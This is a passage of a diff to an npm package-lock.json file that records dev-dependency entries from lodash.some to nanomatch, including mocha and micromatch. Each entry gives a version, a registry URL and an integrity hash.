+ "resolved": "https://registry.npmjs.org/lodash.some/-/lodash.some-4.6.0.tgz",
+ "integrity": "sha512-j7MJE+TuT51q9ggt4fSgVqro163BEFjAt3u97IqU+JA2DkWl80nFTrowzLpZ/BnpN7rrl0JA/593NAdd8p/scQ==",
+ "dev": true
+ },
+ "log-symbols": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz",
+ "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==",
+ "dev": true,
+ "requires": {
+ "chalk": "^4.1.0",
+ "is-unicode-supported": "^0.1.0"
+ }
+ },
+ "lolex": {
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/lolex/-/lolex-4.2.0.tgz",
+ "integrity": "sha512-gKO5uExCXvSm6zbF562EvM+rd1kQDnB9AZBbiQVzf1ZmdDpxUSvpnAaVOP83N/31mRK8Ml8/VE8DMvsAZQ+7wg==",
+ "dev": true
+ },
+ "lower-case": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-1.1.4.tgz",
+ "integrity": "sha512-2Fgx1Ycm599x+WGpIYwJOvsjmXFzTSc34IwDWALRA/8AopUKAVPwfJ+h5+f85BCp0PWmmJcWzEpxOpoXycMpdA==",
+ "dev": true
+ },
+ "lru-cache": {
+ "version": "5.1.1",
+ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
+ "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
+ "dev": true,
+ "requires": {
+ "yallist": "^3.0.2"
+ }
+ },
+ "make-dir": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz",
+ "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==",
+ "dev": true,
+ "requires": {
+ "pify": "^4.0.1",
+ "semver": "^5.6.0"
+ },
+ "dependencies": {
+ "semver": {
+ "version": "5.7.2",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz",
+ "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==",
+ "dev": true
+ }
+ }
+ },
+ "make-iterator": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/make-iterator/-/make-iterator-1.0.1.tgz",
+ "integrity": "sha512-pxiuXh0iVEq7VM7KMIhs5gxsfxCux2URptUQaXo4iZZJxBAzTPOLE2BumO5dbfVYq/hBJFBR/a1mFDmOx5AGmw==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^6.0.2"
+ }
+ },
+ "map-cache": {
+ "version": "0.2.2",
+ "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz",
+ "integrity": "sha512-8y/eV9QQZCiyn1SprXSrCmqJN0yNRATe+PO8ztwqrvrbdRLA3eYJF0yaR0YayLWkMbsQSKWS9N2gPcGEc4UsZg==",
+ "dev": true
+ },
+ "map-stream": {
+ "version": "0.0.7",
+ "resolved": "https://registry.npmjs.org/map-stream/-/map-stream-0.0.7.tgz",
+ "integrity": "sha512-C0X0KQmGm3N2ftbTGBhSyuydQ+vV1LC3f3zPvT3RXHXNZrvfPZcoXp/N5DOa8vedX/rTMm2CjTtivFg2STJMRQ==",
+ "dev": true
+ },
+ "map-visit": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/map-visit/-/map-visit-1.0.0.tgz",
+ "integrity": "sha512-4y7uGv8bd2WdM9vpQsiQNo41Ln1NvhvDRuVt0k2JZQ+ezN2uaQes7lZeZ+QQUHOLQAtDaBJ+7wCbi+ab/KFs+w==",
+ "dev": true,
+ "requires": {
+ "object-visit": "^1.0.0"
+ }
+ },
+ "markdown-it": {
+ "version": "10.0.0",
+ "resolved": "https://registry.npmjs.org/markdown-it/-/markdown-it-10.0.0.tgz",
+ "integrity": "sha512-YWOP1j7UbDNz+TumYP1kpwnP0aEa711cJjrAQrzd0UXlbJfc5aAq0F/PZHjiioqDC1NKgvIMX+o+9Bk7yuM2dg==",
+ "dev": true,
+ "requires": {
+ "argparse": "^1.0.7",
+ "entities": "~2.0.0",
+ "linkify-it": "^2.0.0",
+ "mdurl": "^1.0.1",
+ "uc.micro": "^1.0.5"
+ },
+ "dependencies": {
+ "argparse": {
+ "version": "1.0.10",
+ "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+ "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+ "dev": true,
+ "requires": {
+ "sprintf-js": "~1.0.2"
+ }
+ }
+ }
+ },
+ "markdown-it-anchor": {
+ "version": "5.3.0",
+ "resolved": "https://registry.npmjs.org/markdown-it-anchor/-/markdown-it-anchor-5.3.0.tgz",
+ "integrity": "sha512-/V1MnLL/rgJ3jkMWo84UR+K+jF1cxNG1a+KwqeXqTIJ+jtA8aWSHuigx8lTzauiIjBDbwF3NcWQMotd0Dm39jA==",
+ "dev": true,
+ "requires": {}
+ },
+ "marked": {
+ "version": "2.1.3",
+ "resolved": "https://registry.npmjs.org/marked/-/marked-2.1.3.tgz",
+ "integrity": "sha512-/Q+7MGzaETqifOMWYEA7HVMaZb4XbcRfaOzcSsHZEith83KGlvaSG33u0SKu89Mj5h+T8V2hM+8O45Qc5XTgwA==",
+ "dev": true
+ },
+ "matchdep": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/matchdep/-/matchdep-2.0.0.tgz",
+ "integrity": "sha512-LFgVbaHIHMqCRuCZyfCtUOq9/Lnzhi7Z0KFUE2fhD54+JN2jLh3hC02RLkqauJ3U4soU6H1J3tfj/Byk7GoEjA==",
+ "dev": true,
+ "requires": {
+ "findup-sync": "^2.0.0",
+ "micromatch": "^3.0.4",
+ "resolve": "^1.4.0",
+ "stack-trace": "0.0.10"
+ },
+ "dependencies": {
+ "define-property": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz",
+ "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==",
+ "dev": true,
+ "requires": {
+ "is-descriptor": "^1.0.2",
+ "isobject": "^3.0.1"
+ }
+ },
+ "extend-shallow": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+ "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==",
+ "dev": true,
+ "requires": {
+ "assign-symbols": "^1.0.0",
+ "is-extendable": "^1.0.1"
+ }
+ },
+ "findup-sync": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-2.0.0.tgz",
+ "integrity": "sha512-vs+3unmJT45eczmcAZ6zMJtxN3l/QXeccaXQx5cu/MeJMhewVfoWZqibRkOxPnmoR59+Zy5hjabfQc6JLSah4g==",
+ "dev": true,
+ "requires": {
+ "detect-file": "^1.0.0",
+ "is-glob": "^3.1.0",
+ "micromatch": "^3.0.4",
+ "resolve-dir": "^1.0.1"
+ }
+ },
+ "is-accessor-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^6.0.0"
+ }
+ },
+ "is-data-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^6.0.0"
+ }
+ },
+ "is-descriptor": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+ "dev": true,
+ "requires": {
+ "is-accessor-descriptor": "^1.0.0",
+ "is-data-descriptor": "^1.0.0",
+ "kind-of": "^6.0.2"
+ }
+ },
+ "is-extendable": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+ "dev": true,
+ "requires": {
+ "is-plain-object": "^2.0.4"
+ }
+ },
+ "is-glob": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz",
+ "integrity": "sha512-UFpDDrPgM6qpnFNI+rh/p3bUaq9hKLZN8bMUWzxmcnZVS3omf4IPK+BrewlnWjO1WmUsMYuSjKh4UJuV4+Lqmw==",
+ "dev": true,
+ "requires": {
+ "is-extglob": "^2.1.0"
+ }
+ },
+ "micromatch": {
+ "version": "3.1.10",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
+ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
+ "dev": true,
+ "requires": {
+ "arr-diff": "^4.0.0",
+ "array-unique": "^0.3.2",
+ "braces": "^2.3.1",
+ "define-property": "^2.0.2",
+ "extend-shallow": "^3.0.2",
+ "extglob": "^2.0.4",
+ "fragment-cache": "^0.2.1",
+ "kind-of": "^6.0.2",
+ "nanomatch": "^1.2.9",
+ "object.pick": "^1.3.0",
+ "regex-not": "^1.0.0",
+ "snapdragon": "^0.8.1",
+ "to-regex": "^3.0.2"
+ }
+ }
+ }
+ },
+ "mdurl": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/mdurl/-/mdurl-1.0.1.tgz",
+ "integrity": "sha512-/sKlQJCBYVY9Ers9hqzKou4H6V5UWc/M59TH2dvkt+84itfnq7uFOMLpOiOS4ujvHP4etln18fmIxA5R5fll0g==",
+ "dev": true
+ },
+ "memory-fs": {
+ "version": "0.5.0",
+ "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.5.0.tgz",
+ "integrity": "sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==",
+ "dev": true,
+ "requires": {
+ "errno": "^0.1.3",
+ "readable-stream": "^2.0.1"
+ }
+ },
+ "merge-stream": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz",
+ "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==",
+ "dev": true,
+ "peer": true
+ },
+ "merge2": {
+ "version": "1.4.1",
+ "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",
+ "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==",
+ "dev": true
+ },
+ "micromatch": {
+ "version": "4.0.5",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz",
+ "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==",
+ "dev": true,
+ "requires": {
+ "braces": "^3.0.2",
+ "picomatch": "^2.3.1"
+ },
+ "dependencies": {
+ "braces": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
+ "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+ "dev": true,
+ "requires": {
+ "fill-range": "^7.0.1"
+ }
+ },
+ "fill-range": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
+ "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+ "dev": true,
+ "requires": {
+ "to-regex-range": "^5.0.1"
+ }
+ },
+ "is-number": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "dev": true
+ },
+ "to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dev": true,
+ "requires": {
+ "is-number": "^7.0.0"
+ }
+ }
+ }
+ },
+ "mime-db": {
+ "version": "1.52.0",
+ "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
+ "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
+ "dev": true
+ },
+ "mime-types": {
+ "version": "2.1.35",
+ "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
+ "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
+ "dev": true,
+ "requires": {
+ "mime-db": "1.52.0"
+ }
+ },
+ "minimatch": {
+ "version": "3.1.2",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
+ "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
+ "dev": true,
+ "requires": {
+ "brace-expansion": "^1.1.7"
+ }
+ },
+ "mixin-deep": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.2.tgz",
+ "integrity": "sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==",
+ "dev": true,
+ "requires": {
+ "for-in": "^1.0.2",
+ "is-extendable": "^1.0.1"
+ },
+ "dependencies": {
+ "is-extendable": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+ "dev": true,
+ "requires": {
+ "is-plain-object": "^2.0.4"
+ }
+ }
+ }
+ },
+ "mkdirp": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
+ "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==",
+ "dev": true
+ },
+ "mocha": {
+ "version": "9.1.2",
+ "resolved": "https://registry.npmjs.org/mocha/-/mocha-9.1.2.tgz",
+ "integrity": "sha512-ta3LtJ+63RIBP03VBjMGtSqbe6cWXRejF9SyM9Zyli1CKZJZ+vfCTj3oW24V7wAphMJdpOFLoMI3hjJ1LWbs0w==",
+ "dev": true,
+ "requires": {
+ "@ungap/promise-all-settled": "1.1.2",
+ "ansi-colors": "4.1.1",
+ "browser-stdout": "1.3.1",
+ "chokidar": "3.5.2",
+ "debug": "4.3.2",
+ "diff": "5.0.0",
+ "escape-string-regexp": "4.0.0",
+ "find-up": "5.0.0",
+ "glob": "7.1.7",
+ "growl": "1.10.5",
+ "he": "1.2.0",
+ "js-yaml": "4.1.0",
+ "log-symbols": "4.1.0",
+ "minimatch": "3.0.4",
+ "ms": "2.1.3",
+ "nanoid": "3.1.25",
+ "serialize-javascript": "6.0.0",
+ "strip-json-comments": "3.1.1",
+ "supports-color": "8.1.1",
+ "which": "2.0.2",
+ "workerpool": "6.1.5",
+ "yargs": "16.2.0",
+ "yargs-parser": "20.2.4",
+ "yargs-unparser": "2.0.0"
+ },
+ "dependencies": {
+ "ansi-colors": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.1.tgz",
+ "integrity": "sha512-JoX0apGbHaUJBNl6yF+p6JAFYZ666/hhCGKN5t9QFjbJQKUU/g8MNbFDbvfrgKXvI1QpZplPOnwIo99lX/AAmA==",
+ "dev": true
+ },
+ "anymatch": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
+ "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==",
+ "dev": true,
+ "requires": {
+ "normalize-path": "^3.0.0",
+ "picomatch": "^2.0.4"
+ }
+ },
+ "binary-extensions": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz",
+ "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==",
+ "dev": true
+ },
+ "braces": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
+ "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+ "dev": true,
+ "requires": {
+ "fill-range": "^7.0.1"
+ }
+ },
+ "chokidar": {
+ "version": "3.5.2",
+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.2.tgz",
+ "integrity": "sha512-ekGhOnNVPgT77r4K/U3GDhu+FQ2S8TnK/s2KbIGXi0SZWuwkZ2QNyfWdZW+TVfn84DpEP7rLeCt2UI6bJ8GwbQ==",
+ "dev": true,
+ "requires": {
+ "anymatch": "~3.1.2",
+ "braces": "~3.0.2",
+ "fsevents": "~2.3.2",
+ "glob-parent": "~5.1.2",
+ "is-binary-path": "~2.1.0",
+ "is-glob": "~4.0.1",
+ "normalize-path": "~3.0.0",
+ "readdirp": "~3.6.0"
+ }
+ },
+ "debug": {
+ "version": "4.3.2",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz",
+ "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==",
+ "dev": true,
+ "requires": {
+ "ms": "2.1.2"
+ },
+ "dependencies": {
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ }
+ }
+ },
+ "fill-range": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
+ "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+ "dev": true,
+ "requires": {
+ "to-regex-range": "^5.0.1"
+ }
+ },
+ "fsevents": {
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
+ "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
+ "dev": true,
+ "optional": true
+ },
+ "glob-parent": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+ "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+ "dev": true,
+ "requires": {
+ "is-glob": "^4.0.1"
+ }
+ },
+ "is-binary-path": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
+ "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
+ "dev": true,
+ "requires": {
+ "binary-extensions": "^2.0.0"
+ }
+ },
+ "is-number": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "dev": true
+ },
+ "minimatch": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz",
+ "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==",
+ "dev": true,
+ "requires": {
+ "brace-expansion": "^1.1.7"
+ }
+ },
+ "ms": {
+ "version": "2.1.3",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+ "dev": true
+ },
+ "readdirp": {
+ "version": "3.6.0",
+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
+ "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
+ "dev": true,
+ "requires": {
+ "picomatch": "^2.2.1"
+ }
+ },
+ "supports-color": {
+ "version": "8.1.1",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
+ "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==",
+ "dev": true,
+ "requires": {
+ "has-flag": "^4.0.0"
+ }
+ },
+ "to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dev": true,
+ "requires": {
+ "is-number": "^7.0.0"
+ }
+ },
+ "yargs": {
+ "version": "16.2.0",
+ "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz",
+ "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==",
+ "dev": true,
+ "requires": {
+ "cliui": "^7.0.2",
+ "escalade": "^3.1.1",
+ "get-caller-file": "^2.0.5",
+ "require-directory": "^2.1.1",
+ "string-width": "^4.2.0",
+ "y18n": "^5.0.5",
+ "yargs-parser": "^20.2.2"
+ }
+ }
+ }
+ },
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ },
+ "mute-stdout": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/mute-stdout/-/mute-stdout-1.0.1.tgz",
+ "integrity": "sha512-kDcwXR4PS7caBpuRYYBUz9iVixUk3anO3f5OYFiIPwK/20vCzKCHyKoulbiDY1S53zD2bxUpxN/IJ+TnXjfvxg==",
+ "dev": true
+ },
+ "mz": {
+ "version": "2.7.0",
+ "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz",
+ "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==",
+ "dev": true,
+ "requires": {
+ "any-promise": "^1.0.0",
+ "object-assign": "^4.0.1",
+ "thenify-all": "^1.0.0"
+ }
+ },
+ "nan": {
+ "version": "2.17.0",
+ "resolved": "https://registry.npmjs.org/nan/-/nan-2.17.0.tgz",
+ "integrity": "sha512-2ZTgtl0nJsO0KQCjEpxcIr5D+Yv90plTitZt9JBfQvVJDS5seMl3FOvsh3+9CoYWXf/1l5OaZzzF6nDm4cagaQ==",
+ "dev": true,
+ "optional": true
+ },
+ "nanoid": {
+ "version": "3.1.25",
+ "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.1.25.tgz",
+ "integrity": "sha512-rdwtIXaXCLFAQbnfqDRnI6jaRHp9fTcYBjtFKE8eezcZ7LuLjhUaQGNeMXf1HmRoCH32CLz6XwX0TtxEOS/A3Q==",
+ "dev": true
+ },
+ "nanomatch": {
+ "version": "1.2.13",
+ "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz",
+ "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==",
+ "dev": true,
+ "requires": {
+ "arr-diff": "^4.0.0",
+ "array-unique": "^0.3.2",
+ "define-property": "^2.0.2",
+ "extend-shallow": "^3.0.2",
+ "fragment-cache": "^0.2.1",
+ "is-windows": "^1.0.2",
+ "kind-of": "^6.0.2",
+ "object.pick": "^1.3.0",
+ "regex-not": "^1.0.0",
+ "snapdragon": "^0.8.1",
+ "to-regex": "^3.0.1"
+ },
+ "dependencies": {
+ "define-property": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz",
+ "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==",
+ "dev": true,
+ "requires": {
+ "is-descriptor": "^1.0.2",
+ "isobject": "^3.0.1"
+ }
+ },
+ "extend-shallow": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+ "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==",
+ "dev": true,
+ "requires": {
+ "assign-symbols": "^1.0.0",
+ "is-extendable": "^1.0.1"
+ }
+ },
+ "is-accessor-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^6.0.0"
+ }
+ },
+ "is-data-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
